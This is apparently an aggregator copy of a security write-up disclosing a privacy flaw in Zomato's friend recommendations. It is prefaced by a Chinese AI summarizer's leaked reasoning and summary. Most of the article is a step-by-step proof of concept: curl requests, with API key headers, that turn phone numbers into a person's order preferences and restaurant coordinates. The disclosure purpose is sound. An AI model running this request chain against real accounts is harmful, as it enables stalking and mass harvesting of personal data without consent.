Zomato Privacy Flaw: How the ‘Friend Recommendations’ Feature Enables Location Stalking
好的,我现在需要帮用户总结一篇文章的内容,控制在100字以内,并且不需要特定的开头。首先,我得仔细阅读这篇文章,理解它的主要内容和重点。 文章主要讨论了Zomato应用中的一个设计问题,涉及到隐私设置和“朋友推荐”功能。作者指出,Zomato的“朋友”定义与大多数社交应用不同,是单方面的。这意味着用户认为他们只与自己的朋友共享数据,但实际上任何拥有他们手机号码的人都可以访问他们的数据,包括订单历史、口味偏好等。 接下来,文章详细描述了如何通过Zomato的API端点来获取这些数据。作者编写了一个脚本,直接与API交互,绕过了应用的用户界面。通过几个步骤,包括同步联系人、获取加密用户ID、提取餐厅信息和具体食物项目等,作者展示了如何仅凭一个手机号就能获取大量个人信息。 文章还提到Zomato试图构建一个社交网络,但忽视了核心的安全功能:相互同意。这意味着用户的隐私没有得到应有的保护。此外,作者指出Zomato可能在技术上可以在某些步骤中阻止这种数据泄露,但目前并未实施。 总结起来,这篇文章揭示了Zomato在隐私保护上的设计缺陷,并通过技术手段证明了这一点。这对用户来说是一个严重的隐私问题,可能会影响他们对Zomato的信任。 现在我需要将这些内容浓缩到100字以内。重点包括:Zomato的设计问题、单方面朋友定义、数据泄露的风险、技术细节以及对用户隐私的影响。 最后的总结应该简洁明了地传达这些问题的核心。 </think> Zomato的应用程序存在隐私问题:其“朋友推荐”功能基于单方面联系人关系而非相互同意。攻击者可利用API端点仅凭手机号获取用户的订单历史、偏好及具体食物项目等敏感信息。此设计使用户数据易受未经授权的访问和滥用。 2026-3-11 04:35:50 Author: infosecwriteups.com(查看原文) 阅读量:6 收藏

Zomato’s Misleading UI: The Illusion of Consent in ‘Friend Recommendations’

The core issue lies in a misleading design choice: The Definition of a Friend.

Press enter or click to view image in full size

Zomato app user interface showing misleading privacy settings for friend recommendations.

In most social apps (Instagram, LinkedIn), a “connection” or “friend” is Mutual. I add you, you accept me, and then we share data. Zomato uses a Unilateral model.

  • How Users Think It Works: “I share my food history with my friends.
  • How It Actually Works: “Anyone who has my phone number can see my food history.”

I wrote a script to interact directly with the sync-desync contacts endpoint, skipping the app UI entirely:

  • I upload a list of phone numbers (random or targeted. Potentially in thousands or even millions).
  • Zomato checks if those numbers have accounts.
  • Zomato returns the Recommendation History (Based on their order history), Taste Profile, and Ordered from Restaurants for every match.
  • There is no “Accept Request” button. The victim never gets a notification. If I have your number or if I can find your number, I have your data.

They are attempting to build a social network on top of a delivery app, but they have stripped away the core safety feature of social networks: mutual consent.

Exploiting Zomato API Endpoints: A Technical Proof of Concept

Step 1: The sync-contacts endpoint

Purpose: The attacker syncs the phone numbers they want to target.

Request:


curl -X POST "https://api.zomato.com/gw/user-preference/recommendation/sync-contacts" \
-H "Accept: image/webp" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Content-Type: application/json; charset=utf-8" \
-H "Host: api.zomato.com" \
-H "X-Zomato-Access-Token: <Your Token Here>" \
-H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
-H "X-Zomato-App-Version: 931" \
-H "X-Zomato-App-Version-Code: 1710019310" \
-H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
-d '{
"flow_type": "revamped_flow",
"contacts_access_level": "full_access",
"contacts": [
{
"phone_numbers": ["+91 99999 99999"],
"name": "poc_contact_9999999999",
"id": "1"
}
],
"location": {
"city_id": 11111,
"place": {
"delivery_subzone_id": 11111
}
}
}'

Response:

{'status': 'success', 'message': 'success'}

Step 2: get-contacts we just synced

Purpose: This step is crucial. The API endpoint indicates if the target is a Zomato user and if they have public recommendations. Most importantly, it retrieves the encrypted_user_id associated with that phone number.

Request:

curl -X POST "https://api.zomato.com/gw/user-preference/recommendation/get-contacts" \
-H "Accept: image/webp" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive" \
-H "Content-Type: application/json; charset=UTF-8" \
-H "Host: api.zomato.com" \
-H "X-Zomato-Access-Token: <Your Token Here>" \
-H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
-H "X-Zomato-App-Version: 931" \
-H "X-Zomato-App-Version-Code: 1710019310" \
-H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
-d '{
"request_type": "initial",
"additional_filters": {},
"page_type": "contacts_management",
"removed_snippet_ids": [],
"page_index": "1",
"count": 99999,
"is_gold_mode_on": false,
"keyword": "",
"load_more": true
}'

Simplified Response from get_contacts.py (the actual response is a complex structure, as Zomato uses Server Driven UI):

[
{
"name": "poc_contact_XXXXXXXXXX",
"is_zomato_user": true,
"has_recommendations": true,
"recommendations": 23,
"encrypted_owner_user_id": "404d23c718d795dd649b326bdc9e492XXXXXXXXXXXXXXXXXXXXXX"
},
{
"name": "poc_contact_9999999999",
"is_zomato_user": false,
"has_recommendations": false,
"recommendations": 0,
"encrypted_owner_user_id": null
}
]

What is Encrypted User Id?: Instead of sending a public integer User ID, Zomato sends an encrypted_user_id so the user can be anonymized and the review data and potential PII does not get exposed from the following endpoint: https://zoma.to/u/123456

Step 3: The get_listing_by_usecase endpoint. Get Restaurant Names for the “Encrypted User ID”

Purpose: The purpose of this request is to turn that number of Recommendations to actual restaurant names and their specific outlets.

Request:

# Initial request cURL (for page 1; subsequent pages require dynamic postback_params)
curl -X POST "https://api.zomato.com/gateway/search/v1/get_listing_by_usecase" \
-H "Accept: image/webp" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Content-Type: application/json; charset=UTF-8" \
-H "Host: api.zomato.com" \
-H "X-Client-Id: zomato_android_v2" \
-H "X-Zomato-Access-Token: <Your token Here>" \
-H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
-H "X-Zomato-App-Version: 931" \
-H "X-Zomato-App-Version-Code: 1710019310" \
-H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
-d '{
"request_type": "initial",
"page_type": "collection_page",
"friend_recommendation_params": "{\"collection_type\": \"RECOMMENDATION\", \"owner_user_name\": \"your_owner_name_here\", \"encrypted_owner_user_id\": \"your_encrypted_owner_user_id_here\"}",
"count": 10,
"view_type": "RESTAURANT",
"additional_filters": {},
"removed_snippet_ids": [],
"page_index": "1",
"location": {
"entity_type": "subzone",
"entity_id": "9999999999",
"place_type": "DSZ",
"place_id": "9999999999"
},
"is_gold_mode_on": false,
"keyword": "",
"load_more": false
}'

Simplified Response from get_contact_collection.py (Again the actual raw response has a complex structure):

{
"success": true,
"total": 10,
"restaurants": [
{
"name": "Pizza Wings",
"res_id": "XXXXXXXXX",
"chain_id": "XXXXXXXXX",
"displayed_id": "XXXXXXXXX"
},
{
"name": "Body Fuel Station",
"res_id": "XXXXXXXXX",
"chain_id": "XXXXXXXXX",
"displayed_id": "XXXXXXXXX"
},
{
"name": "Domino's Pizza",
"res_id": "XXXXXXXXX",
"chain_id": "143",
"displayed_id": "XXXXXXXXX"
},

...
],
<redacted for brevity>

You will notice the following things in the response:

  • chain_id: Its the parent id for a outlet. For example, For a chain like Subway, chain_id never changes eg: 123, and the res_id would represent the Id of the specific outlet of that subway.
  • res_id: Stands for the restaurant Id, represents the actual outlet location.

For franchises like subway, KFC, etc, The chain_id never changes, the res_id represents the particular KFC or Subway for a certain area.

Zomato API, does not guarantee to give us specific res_id when the restaurant is a Chain. This could be due to several reasons like Availability, Zomato tends to return the res_id’s that could be closer, weather conditions, No nearby riders etc…

For local restaurants like “Body Fuel Station”, the chain_id, and the res_id always remains the same. Here, Zomato API is forced to return the specific outlet as it’s not registered as a Chain on Zomato.

By now, we have a list of the restaurant our target has at least ordered from once.

Step 4: Extracting Specific Food Items From the list of restaurants we got for our target using gw/menu/{res_id} Endpoint

Purpose: You must have noticed, when you refresh the restaurant menu, on the top section as a filter you get to see what your contact (“Friend”) has recommended. The goal is to now extract those specific items.

Request:

curl -X POST "https://api.zomato.com/gw/menu/<res_id>" \
-H "Accept: image/webp" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Host: api.zomato.com" \
-H "X-Zomato-Access-Token: <Your Access Token>" \
-H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
-H "X-Zomato-App-Version: 931" \
-H "X-Zomato-App-Version-Code: 1710019310" \
-H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
-d "resID=<res_id>&mode=delivery&tabId=menu"

Simplified Response From get_menu.py (Again, the actual structure is very complex):

[
{
"user_id": "404d23c718d795dd649b326bdc9e492XXXXXXXXXXXXXXXXXXXXXX",
"ordered_items": [
{
"name": "Peri Peri Pizza",
"price": 289,
"image": "https://b.zmtcdn.com/data/dish_photos/cea/20a8d49d5d4a28712956d92872636cea.png"
},
{
"name": "Mexican Pizza",
"price": 269,
"image": "https://b.zmtcdn.com/data/dish_photos/260/7ce7ae6a108a3319f0b5a74a0cf0b260.png"
},
{
"name": "Jalapeno Garlic Bread",
"price": 239,
"image": "https://b.zmtcdn.com/data/dish_photos/2a4/cdf164bb6648642a769403c7bd9392a4.png"
},
{
"name": "Farmer Choice Pizza",
"price": 299,
"image": "https://b.zmtcdn.com/data/dish_photos/e35/b54ca6221ad549a9fa65376b6c0cae35.png"
}
]
},
{
...
}
]

We did it for one restaurant, but we have to run this script on each restaurant we identified from Step 3, and by then we will have a list of all dishes and the bare minimum price before discounts.

Step 5: Enriching the list of Restaurants we got for the user with Specific coordinates

Purpose: The goal now is to enrich the list of all restaurants, to extract the latitude and longitudes.

Get Jatin Banga’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Request:

curl -X POST "https://api.zomato.com/gw/menu/res_info/<res_id>" \
-H "Accept: image/webp" \
-H "Accept-Encoding: gzip, deflate, br" \
-H "Connection: keep-alive" \
-H "Content-Type: application/json; charset=utf-8" \
-H "Host: api.zomato.com" \
-H "X-Zomato-API-Key: 7749b19667964b87a3efc739e254ada2" \
-H "X-Zomato-App-Version: 931" \
-H "X-Zomato-App-Version-Code: 1710019310" \
-H "X-Zomato-Client-Id: 5276d7f1-910b-4243-92ea-d27e758ad02b" \
-H "X-Zomato-Is-Metric: true" \
-H "X-Zomato-UUID: b2691abb-5aac-48a5-9f0e-750349080dcb" \
-d '{"should_fetch_res_info_from_agg": true}'

Simplified Response from get_res_meta.py:

{
"latitude": 30.XXXXXXXXXXX,
"longitude": 76.XXXXXXXXXXX,
"success": true
}

We will repeat this process for each restaurant for a user, then we will have the following details:

  • Restaurant Names
  • Specific Dishes, Images, Prices from all Restaurants
  • Latitude and Longitude of the Restaurant or the specific Outlet.

Final Aggregated Intelligence:

So, using series of “intended” Zomato features, I was able to get this data from just a phone number !

Zomato could have automatically stopped me at Step 3 or 4 by just checking, if the connection is mutual.


文章来源: https://infosecwriteups.com/how-a-zomato-feature-enables-stalking-which-they-call-working-as-intended-4372ccf56a77?source=rss----7b722bfd1b8d--bug_bounty
如有侵权请联系:admin#unsafe.sh